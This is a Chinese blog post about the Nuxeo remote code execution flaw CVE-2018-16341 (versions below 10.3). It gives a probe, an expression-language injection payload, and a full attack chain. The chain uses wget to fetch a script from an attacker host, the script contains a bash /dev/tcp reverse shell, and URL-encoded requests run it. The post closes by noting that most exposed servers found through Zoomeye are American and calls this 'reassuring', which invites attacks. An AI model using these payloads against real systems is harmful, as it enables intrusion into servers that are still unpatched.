⭐⭐⭐Nuxeo远程命令执行漏洞⭐⭐⭐

原创 sauren  2018-12-27 17:44  阅读 425 views 次 评论 0 条

Nuxeo Platform是一款跨平台开源的企业级内容管理系统(CMS)。
nuxeo-jsf-ui组件处理facelet模板不当,当访问的facelet模板不存在时,相关的文件名会输出到错误页面上,而错误页面会当成模板被解析,文件名包含表达式也会被输出同时被解析执行,从而导致远程代码执行漏洞。

漏洞编码:CVE-2018-16341

本漏洞源于@网藤的博客。

一、漏洞版本:

Nuxeo Server版本 < 10.3

二、漏洞验证

?相关漏洞分析可以查阅@网藤的博文

login.jsp/${11*11}.xhtml

含有漏洞的版本,将会返回乘法计算结果。

三、攻击EXP

@网藤的博文给出的payload如下

${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc",null).toString()}

经过测试有以下问题:

1.请求结尾需要以.xhtml结尾

2.直接使用/bin/bash -i >& /dev/tcp/ip/port 0>&1等等反弹shell,会因为特殊字符原因导致攻击失败

试验后思路

首先使用wget命令下载sh脚本,进而使用bash执行此脚本。

http://ip:8080/nuxeo/login.jsp/$%7B%22%22.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec("wget ip/1.sh").toString()%7D.xhtml

需要注意的是,wget参数后面不能使用http://这个头。直接去掉也有效。

1.sh内容

/bin/bash -i >& /dev/tcp/ip/3333 0>&1

 

执行脚本

http://ip:8080/nuxeo/login.jsp/$%7B%22%22.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22/bin/bash%201.sh%22).toString()%7D.xhtml

 

Zoomeye搜索了下该服务:

大部分是美帝的,放心了放心了~~~ :)

本文地址:/archives/140.html
版权声明:本文为原创文章,版权归 sauren 所有,欢迎分享本文,转载请保留出处!
高性能云服务器特惠

发表评论


表情